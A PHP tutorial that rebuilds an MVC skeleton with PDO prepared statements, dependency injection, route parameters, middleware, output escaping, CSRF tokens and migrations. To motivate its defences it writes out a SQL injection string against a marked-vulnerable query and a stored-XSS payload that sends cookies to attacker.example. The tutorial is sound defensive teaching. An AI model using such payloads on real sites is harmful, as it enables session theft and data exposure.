PHP MVC From Scratch: Routing, DI, and PDO Done Right
Extend a bare PHP MVC skeleton into something real: dependency injection, PDO-backed models with prepared statements, route params, and view escaping.
Last Updated August 4, 2026
This is a full rewrite of the original 2021 skeleton, not a patch. It now targets PHP 8.5, the current stable release (PHP 8.4 remains fully supported if your environment hasn't upgraded yet; anything below 8.2 is end-of-life and should not be running in production at all). The rewrite replaces the original's in-memory-only Model with a PDO-backed Repository using prepared statements, and adds the dependency injection, route parameters, and output escaping the original never had. Treat the 2021 version as retired; nothing in it should be copied as-is, especially the unescaped view output.
The original version of this skeleton had a Router, a Controller, and a Journal model with two hardcoded properties. It never touched a database. It never escaped a single piece of output. It routed exactly one path. That's not a framework — it's a class diagram with dispatch() attached.
This rewrite keeps the same three-file mental model (Router, Controller, Model) but fills in the parts that make MVC worth the extra structure in the first place: a Model layer that actually talks to a database safely, a View layer that doesn't hand attackers stored XSS, and a Router that can take parameters instead of matching one literal string.
Why Does MVC's Separation Actually Matter?
The pitch for MVC is always "separation of concerns," which is true but abstract enough to sound like a slogan. Concretely: the Controller in the original code has no idea what a Journal is beyond calling new Journal(...). If you swap the storage layer from an in-memory array to a real database — which the original skeleton never demonstrated — the Controller code doesn't change at all. That's the actual payoff. Not "cleaner code" as an aesthetic preference, but a boundary where a real architectural change (swap MySQL for PostgreSQL, add a cache layer, mock the Model in tests) doesn't ripple through the rest of the application.
The corollary: if your Controller builds SQL strings, or your View directly queries the database, the boundary is broken and you've paid MVC's complexity cost without collecting its benefit.
Setting Up With PSR-4 Autoloading Configured Correctly
Confirm php -v reports 8.4 or 8.5 before starting — the constructor property promotion used in JournalRepository below (public function __construct(private PDO $pdo) {}) requires PHP 8.0+, and readonly property support used elsewhere in this pattern requires 8.1+. Anything older needs the verbose constructor-and-assignment form instead.
composer init
The original told you to answer every prompt with defaults and skip dependencies. One thing worth doing differently: when Composer asks for the namespace, don't leave it blank if you want autoloading to actually work without a manual require for every file. Your composer.json should end up with:
{
"autoload": {
"psr-4": {
"App\\": "src/"
}
}
}
After editing this, run composer dump-autoload to regenerate the class map. PSR-4 autoloading maps namespace segments to directory paths — App\Controllers\HomeController resolves to src/Controllers/HomeController.php automatically. Skip this step (as the original implicitly did, using namespace MVC; inconsistently across files without ever wiring it to Composer) and you're back to manual require statements, which is the exact busywork MVC frameworks exist to eliminate.
public/
index.php # Front controller -- the only web-accessible entry point
src/
Controller.php
Router.php
Container.php # NEW: dependency injection container
Controllers/
HomeController.php
Models/
Journal.php
Repositories/
JournalRepository.php # NEW: database access, separated from the model
Views/
index.php
vendor/
composer.json
.env # NEW: database credentials, never committed
The public/ directory holding a single index.php as the front controller is a change from the original, which had no clear web root at all. Every request should route through one file. That single entry point is what makes centralized error handling and centralized dependency setup possible — the same principle the API article covers for Express.
We recommend reading PHP's mysql_ Legacy: Why It Still Breaks Sites in 2026 to continue reading our selection of content. TheJournalRepositoryabove is the PDO pattern this piece argues every PHP tutorial should be teaching instead ofmysql_*— worth reading the full case for why that legacy code is still showing up in search results.
Why Does the Model Need a Database at All?
The original Journal class was a plain data container with a constructor. It never persisted anything. A "Model" that only exists in memory for the duration of one request isn't modeling anything — it's a struct with extra ceremony. Here's a Journal model backed by an actual database, using PDO instead of the deprecated mysql_* functions.
<?php
// src/Models/Journal.php
namespace App\Models;
class Journal
{
public ?int $id;
public string $name;
public string $publishedYear;
public function __construct(string $name, string $publishedYear, ?int $id = null)
{
$this->id = $id;
$this->name = $name;
$this->publishedYear = $publishedYear;
}
}
The Model class itself stays deliberately plain — no database calls inside it. Database access lives in a separate Repository class:
<?php
// src/Repositories/JournalRepository.php
namespace App\Repositories;
use App\Models\Journal;
use PDO;
class JournalRepository
{
public function __construct(private PDO $pdo) {}
public function all(): array
{
$stmt = $this->pdo->query('SELECT id, name, published_year FROM journals ORDER BY published_year DESC');
return array_map(
fn($row) => new Journal($row['name'], $row['published_year'], (int) $row['id']),
$stmt->fetchAll(PDO::FETCH_ASSOC)
);
}
public function create(string $name, string $publishedYear): Journal
{
// Prepared statement with bound parameters -- this is the line
// that makes SQL injection structurally impossible for this query.
// The values are never concatenated into the SQL string; they're
// sent to the database separately from the query itself.
$stmt = $this->pdo->prepare(
'INSERT INTO journals (name, published_year) VALUES (:name, :year)'
);
$stmt->execute(['name' => $name, 'year' => $publishedYear]);
return new Journal($name, $publishedYear, (int) $this->pdo->lastInsertId());
}
public function findById(int $id): ?Journal
{
$stmt = $this->pdo->prepare('SELECT id, name, published_year FROM journals WHERE id = :id');
$stmt->execute(['id' => $id]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
return $row ? new Journal($row['name'], $row['published_year'], (int) $row['id']) : null;
}
}
Why a separate Repository instead of putting all() and create() directly on Journal? Because a Model with database methods bolted onto it can't be instantiated without a live database connection — which makes it impossible to construct a Journal in a unit test without either mocking PDO or standing up a real database. Separating storage from data structure is the same boundary-drawing principle as the Controller/Model split, applied one layer deeper.
Why Prepared Statements, Specifically, and Not Just "Escaping"
The old mysql_* extension (removed from PHP entirely in PHP 7.0, 2015) encouraged a pattern like this, which should never appear in new code:
// DO NOT DO THIS -- vulnerable to SQL injection
$name = $_POST['name'];
$query = "SELECT * FROM journals WHERE name = '$name'";
If $_POST['name'] contains ' OR '1'='1, the resulting query becomes SELECT * FROM journals WHERE name = '' OR '1'='1', which returns every row in the table regardless of the intended filter. mysql_real_escape_string() attempted to patch this by escaping special characters, but it was easy to forget on any given query, didn't protect against every injection vector (multi-byte character set attacks in particular), and required discipline on every single query in the codebase to avoid a single missed spot becoming the entry point.
Prepared statements solve this structurally rather than by discipline. The query and the data travel to the database server separately — the SQL is parsed and compiled with placeholders (:name, :year) before any user data is attached to it. There is no step where user input becomes part of the SQL string, so there's no string to inject into. This is why the PDO version above needs no manual escaping function anywhere: it's not that the escaping happens automatically, it's that there's no escaping step in the attack surface at all.
How Does Dependency Injection Wire the Database Into the Controller?
The original HomeController called new Journal(...) directly inside index(). That hardcodes the dependency — you can't test HomeController without also constructing real Journal objects inline, and you can't swap the data source without editing the Controller. A small container fixes this:
<?php
// src/Container.php
namespace App;
use PDO;
use App\Repositories\JournalRepository;
class Container
{
private static ?PDO $pdo = null;
public static function pdo(): PDO
{
if (self::$pdo === null) {
$config = parse_ini_file(__DIR__ . '/../.env');
self::$pdo = new PDO(
"mysql:host={$config['DB_HOST']};dbname={$config['DB_NAME']};charset=utf8mb4",
$config['DB_USER'],
$config['DB_PASS'],
[PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION] // Fail loudly, not silently
);
}
return self::$pdo;
}
public static function journalRepository(): JournalRepository
{
return new JournalRepository(self::pdo());
}
}
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION is not optional. PDO's default error mode is silent — a failed query returns false and sets an error code you have to check manually after every single call. Left at the default, a broken query fails silently, and the bug surfaces three steps later as a confusing null-reference error instead of at the point where the actual database error occurred.
<?php
// src/Controllers/HomeController.php
namespace App\Controllers;
use App\Controller;
use App\Container;
class HomeController extends Controller
{
public function index(): void
{
$journals = Container::journalRepository()->all();
$this->render('index', ['journals' => $journals]);
}
public function store(): void
{
// Validate before touching the database -- an empty name or a
// malformed year should never reach a prepared statement, not
// because the statement is unsafe, but because "" is not valid data.
$name = trim($_POST['name'] ?? '');
$year = trim($_POST['published_year'] ?? '');
if ($name === '' || !preg_match('/^\d{4}$/', $year)) {
http_response_code(422);
$this->render('error', ['message' => 'Invalid journal name or year']);
return;
}
Container::journalRepository()->create($name, $year);
header('Location: /');
exit;
}
}
The Controller now depends on Container::journalRepository(), an interface, rather than constructing storage objects itself. Swap MySQL for PostgreSQL, or swap the real repository for a fake one in a test, and HomeController doesn't change.
How Do You Add Route Parameters to the Router?
The original Router::dispatch() matched routes with a plain array lookup — $this->routes[$method][$uri]. That works for exactly one static path. /journals/5 and /journals/6 would need two separate hardcoded route entries, forever, for every possible ID. A real router needs to extract path segments as parameters.
<?php
// src/Router.php
namespace App;
class Router
{
protected array $routes = [];
public function get(string $pattern, string $controller, string $action): void
{
$this->addRoute('GET', $pattern, $controller, $action);
}
public function post(string $pattern, string $controller, string $action): void
{
$this->addRoute('POST', $pattern, $controller, $action);
}
private function addRoute(string $method, string $pattern, string $controller, string $action): void
{
// Convert {id} placeholders into a named capture group regex.
// /journals/{id} becomes #^/journals/(?P<id>[^/]+)$#
$regex = preg_replace('#\{(\w+)\}#', '(?P<$1>[^/]+)', $pattern);
$this->routes[$method][] = [
'regex' => '#^' . $regex . '$#',
'controller' => $controller,
'action' => $action,
];
}
public function dispatch(): void
{
$uri = strtok($_SERVER['REQUEST_URI'], '?');
$method = $_SERVER['REQUEST_METHOD'];
foreach ($this->routes[$method] ?? [] as $route) {
if (preg_match($route['regex'], $uri, $matches)) {
$params = array_filter($matches, fn($k) => !is_int($k), ARRAY_FILTER_USE_KEY);
$controller = new $route['controller']();
$controller->{$route['action']}($params);
return;
}
}
http_response_code(404);
echo '404 Not Found';
}
}
// src/Routes/index.php
$router->get('/', HomeController::class, 'index');
$router->post('/journals', HomeController::class, 'store');
$router->get('/journals/{id}', HomeController::class, 'show');
The regex conversion turns {id} into a named capture group, so preg_match returns both positional and named matches — filtering to !is_int($k) keeps only the named ones (['id' => '5']), discarding the numeric duplicates PHP's regex engine also returns. This is the mechanism every "real" router — Laravel's, Symfony's, Slim's — uses under the hood; the original skeleton's flat array lookup wasn't a simplified version of this, it was a fundamentally different, non-extensible approach.
How Do You Add Cross-Cutting Checks Without Bloating Every Controller?
Authentication, CSRF verification (covered next), and request logging all share a shape: something that needs to run before a controller action, on many routes, that shouldn't be copy-pasted into every single action method. The Router above has no concept of this — adding auth would mean an if check at the top of every protected method, repeated everywhere it's needed and just as easy to forget once as the original skeleton forgot database access entirely.
<?php
// src/Router.php (extended with middleware support)
namespace App;
class Router
{
protected array $routes = [];
protected array $globalMiddleware = [];
public function middleware(callable $middleware): void
{
$this->globalMiddleware[] = $middleware;
}
public function get(string $pattern, string $controller, string $action, array $middleware = []): void
{
$this->addRoute('GET', $pattern, $controller, $action, $middleware);
}
public function post(string $pattern, string $controller, string $action, array $middleware = []): void
{
$this->addRoute('POST', $pattern, $controller, $action, $middleware);
}
private function addRoute(string $method, string $pattern, string $controller, string $action, array $middleware): void
{
$regex = preg_replace('#\{(\w+)\}#', '(?P<$1>[^/]+)', $pattern);
$this->routes[$method][] = [
'regex' => '#^' . $regex . '$#',
'controller' => $controller,
'action' => $action,
'middleware' => $middleware,
];
}
public function dispatch(): void
{
$uri = strtok($_SERVER['REQUEST_URI'], '?');
$method = $_SERVER['REQUEST_METHOD'];
foreach ($this->routes[$method] ?? [] as $route) {
if (preg_match($route['regex'], $uri, $matches)) {
$params = array_filter($matches, fn($k) => !is_int($k), ARRAY_FILTER_USE_KEY);
// Global middleware runs on every route, in registration order.
// Route-specific middleware runs after it, only where declared.
foreach ([...$this->globalMiddleware, ...$route['middleware']] as $mw) {
// A middleware returning false halts the pipeline --
// it's already responsible for sending its own response
// (a redirect to login, a 403 page, whatever fits).
if ($mw($params) === false) return;
}
$controller = new $route['controller']();
$controller->{$route['action']}($params);
return;
}
}
http_response_code(404);
echo '404 Not Found';
}
}
// src/Middleware/requireAuth.php
function requireAuth(array $params): bool
{
if (empty($_SESSION['user_id'])) {
header('Location: /login');
return false; // Halts the pipeline -- the controller action never runs
}
return true;
}
// src/Routes/index.php
$router->get('/journals/{id}/edit', HomeController::class, 'edit', [requireAuth(...)]);
This is a deliberately small version of the same concept Express calls middleware and Laravel calls middleware groups: a chain of functions that run before the actual handler, each able to stop the chain. The Router doesn't know or care what requireAuth checks — it just knows that a middleware returning false means stop, which keeps auth logic, CSRF checks, and logging out of every individual controller method while still making each route explicit about which checks apply to it.
Why Does the View Need to Escape Output?
The original index.php view did this:
<li><?= $journal->name ?> (<?= $journal->publishedYear ?>)</li>
If $journal->name ever contains user-supplied data — which it now does, since store() accepts $_POST['name'] — and that data includes <script>document.location='https://attacker.example/steal?c='+document.cookie</script>, the browser executes it. This is stored XSS: the malicious payload is saved once and served to every visitor who views the journal list, not just the attacker. It's a strictly worse category than reflected XSS because the attacker doesn't need to trick a specific victim into clicking a crafted link — the payload sits in the database waiting for anyone.
<!-- src/Views/index.php -->
<h1>Journals</h1>
<ul>
<?php foreach ($journals as $journal): ?>
<li>
<?= htmlspecialchars($journal->name, ENT_QUOTES, 'UTF-8') ?>
(<?= htmlspecialchars($journal->publishedYear, ENT_QUOTES, 'UTF-8') ?>)
</li>
<?php endforeach; ?>
</ul>
htmlspecialchars() converts <, >, &, ", and ' into their HTML entity equivalents, so a stored <script> tag renders as visible text on the page instead of executing as code. ENT_QUOTES matters specifically — the default flags only escape double quotes, not single quotes, which leaves an attribute-context injection (value='...') unescaped. This single function call, applied consistently to every piece of user-controlled data rendered into HTML, is the entire defense against stored and reflected XSS in a template like this. Skipping it even once, on one field, in one view, is enough.
What Stops Another Site From Submitting This Form on a Visitor's Behalf?
XSS and CSRF get confused constantly because they both involve a browser doing something unintended, but they're opposite problems. XSS is malicious content the attacker got your site to serve. CSRF is a malicious request the attacker gets a victim's browser to send to your site, using credentials the browser already holds — nothing in the store() action from earlier checks that the POST /journals request actually originated from a form your application rendered, versus a form on attacker.example that points at the same URL. If a logged-in user's browser has a valid session cookie for this site, it'll attach that cookie to the request automatically regardless of which page the form lived on.
<?php
// src/Csrf.php
namespace App;
class Csrf
{
public static function token(): string
{
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
public static function verify(?string $submitted): bool
{
// hash_equals() runs in constant time regardless of where the
// strings first differ -- a plain === comparison here would leak
// the correct token one byte at a time through response timing,
// the same class of attack the RSA series covers against
// decryption timing.
return !empty($_SESSION['csrf_token'])
&& !empty($submitted)
&& hash_equals($_SESSION['csrf_token'], $submitted);
}
}
<!-- src/Views/journal-form.php -->
<form method="POST" action="/journals">
<input type="hidden" name="csrf_token" value="<?= htmlspecialchars(App\Csrf::token(), ENT_QUOTES, 'UTF-8') ?>">
<input type="text" name="name">
<input type="text" name="published_year">
<button type="submit">Save</button>
</form>
// src/Middleware/verifyCsrf.php
function verifyCsrf(array $params): bool
{
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !App\Csrf::verify($_POST['csrf_token'] ?? null)) {
http_response_code(403);
echo 'Invalid CSRF token';
return false;
}
return true;
}
A cross-site form on an attacker's page can trick a victim's browser into sending the request and the session cookie, but it has no way to read the victim's session-stored token to include in its own forged form — the token never appears anywhere an attacker's page could read it from, since it's generated server-side and only ever embedded in HTML your own application rendered. Wire verifyCsrf in as global middleware in the Router above and every POST, PUT, PATCH, and DELETE route gets this check without touching individual controllers.
This depends on sessions being configured defensively in the first place, which PHP's defaults don't do on their own:
<?php
// public/index.php (session setup, before anything else runs)
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'secure' => true, // Cookie only sent over HTTPS
'httponly' => true, // JavaScript can't read this cookie -- blunts XSS-driven session theft
'samesite' => 'Lax', // Browser withholds the cookie on most cross-site requests
]);
session_start();
httponly and samesite are the two settings doing the real work, and they cover different attackers. httponly means that even if an XSS bug elsewhere on the site lets an attacker run JavaScript, document.cookie won't include the session cookie for them to exfiltrate. samesite=Lax means the browser itself declines to attach the cookie on most cross-origin requests — including the exact CSRF scenario above — independent of whether the CSRF token check is even present, which is why modern browsers treat this as a second, overlapping layer of defense rather than a replacement for explicit token verification: SameSite support varies by browser configuration and request type (top-level navigation via a link is still allowed under Lax), so the token check remains the reliable guarantee.
What Would the Complete Front Controller Look Like?
<?php
// public/index.php
require __DIR__ . '/../vendor/autoload.php';
use App\Router;
use App\Controllers\HomeController;
$router = new Router();
require __DIR__ . '/../src/Routes/index.php';
$router->dispatch();
Every request — every single one — enters through this file. That single entry point is where you'd add centralized error handling (wrap $router->dispatch() in a try/catch that logs the exception and renders a generic 500 page instead of leaking a stack trace, the PHP equivalent of the Express errorHandler middleware in the API rewrite), and it's where session initialization, CORS headers, or request logging belong if the application needs them. The original skeleton had no equivalent concept of a single request funnel — src/Routes/index.php was called directly, with no clear boundary for cross-cutting concerns.
We recommend reading Building a Production REST API With Node.js and Express to continue reading our selection of content. Same "roll your own" instinct in a different stack — the validation, centralized error handling, and authorization patterns there map directly onto what this MVC skeleton's Controller layer needs as it grows.
How Do You Change the Database Schema Without Losing Track of What Ran Where?
Everything above assumes a journals table already exists. In practice, that table's structure changes over the life of a project — a column gets added, a constraint gets tightened — and "run this ALTER TABLE by hand on production" is exactly the kind of manual step that's fine once and a liability the second time someone forgets it, or runs it out of order, or a teammate's local database silently drifts from what's actually deployed.
A minimal migration system solves this by making schema changes into ordered, tracked files instead of one-off commands:
<?php
// migrations/001_create_journals_table.php
return [
'up' => 'CREATE TABLE journals (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(255) NOT NULL,
published_year CHAR(4) NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)',
'down' => 'DROP TABLE journals',
];
// migrations/002_add_author_to_journals.php
return [
'up' => 'ALTER TABLE journals ADD COLUMN author VARCHAR(255) NOT NULL DEFAULT ""',
'down' => 'ALTER TABLE journals DROP COLUMN author',
];
<?php
// src/Migrator.php
namespace App;
use PDO;
class Migrator
{
public function __construct(private PDO $pdo, private string $migrationsPath) {}
public function run(): void
{
$this->ensureMigrationsTable();
$applied = $this->appliedMigrations();
foreach (glob($this->migrationsPath . '/*.php') as $file) {
$name = basename($file, '.php');
if (in_array($name, $applied, true)) continue; // Already ran -- skip it
$migration = require $file;
$this->pdo->exec($migration['up']);
$this->pdo->prepare('INSERT INTO migrations (name) VALUES (:name)')
->execute(['name' => $name]);
echo "Applied: $name\n";
}
}
private function ensureMigrationsTable(): void
{
$this->pdo->exec(
'CREATE TABLE IF NOT EXISTS migrations (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(255) UNIQUE NOT NULL,
applied_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)'
);
}
private function appliedMigrations(): array
{
return $this->pdo->query('SELECT name FROM migrations')->fetchAll(PDO::FETCH_COLUMN);
}
}
The migrations table is the mechanism that makes this safe to run repeatedly: run() checks what's already been applied before touching anything, so executing it against a database that's already up to date does nothing, and executing it against a fresh database applies every migration in order, by filename. Every environment — a teammate's laptop, staging, production — converges on the same schema by running the same ordered file list, instead of by someone remembering which ALTER TABLE statements they already ran where.
The down key in each migration file isn't used by run() above, but it's there deliberately: a migration that only knows how to move forward has no path back out when a deploy needs to be rolled back. Writing the reverse operation at the same time as the forward one, while the change is fresh in mind, is far cheaper than reconstructing it under pressure during an incident.
Frequently Asked Questions
Why not just use Laravel or Symfony instead of building this?
For anything real, use one of them — both solve every problem in this article, have been through years of security review, and include far more (middleware pipelines, ORM, testing tools, authentication scaffolding) than a from-scratch skeleton reasonably should. Building this from scratch teaches you what a framework's Router, DI container, and ORM are actually doing under the hood, which makes you a more effective Laravel or Symfony developer, the same way understanding RSA's math makes you better at using a cryptography library correctly.
Is PDO always safer than MySQLi?
Both support prepared statements and are safe against SQL injection when used correctly. PDO's advantage is database portability — the same code works against MySQL, PostgreSQL, SQLite, and others by changing the DSN string, which MySQLi (MySQL-specific by design) doesn't offer. Neither is safer than the other when prepared statements are used consistently; the vulnerability comes from skipping prepared statements, not from which library you chose.
What actually broke when PHP removed the mysql_ extension?
PHP 7.0 (December 2015) removed ext/mysql entirely — functions like mysql_query() and mysql_connect() stopped existing, not just stopped being recommended. Any codebase still running those functions cannot run on PHP 7+ without a rewrite to mysqli_* or PDO. Tutorials still teaching mysql_* functions in 2026 are teaching code that has been non-functional on any supported PHP version for over a decade.
Does SameSite=Lax on the session cookie make the CSRF token unnecessary?
No — treat them as layered, not redundant. SameSite=Lax is a browser-level default that most current browsers respect, but it still permits the cookie on top-level GET navigations (a plain link), its exact behavior has varied across browser versions and vendors, and it offers no protection at all for anyone on an older or misconfigured browser. The explicit token check in verifyCsrf doesn't depend on browser behavior or cookie attributes at all, which is why it remains the mechanism you can actually rely on.
Why use a migrations table instead of just tracking schema changes in Git commit messages?
Git history tells you what changed and when it was written, not whether it was ever actually applied to a given database. A migrations table is state, not history — it answers "is this specific database caught up" by querying the database itself, which is the question that matters when diagnosing why staging behaves differently from production.

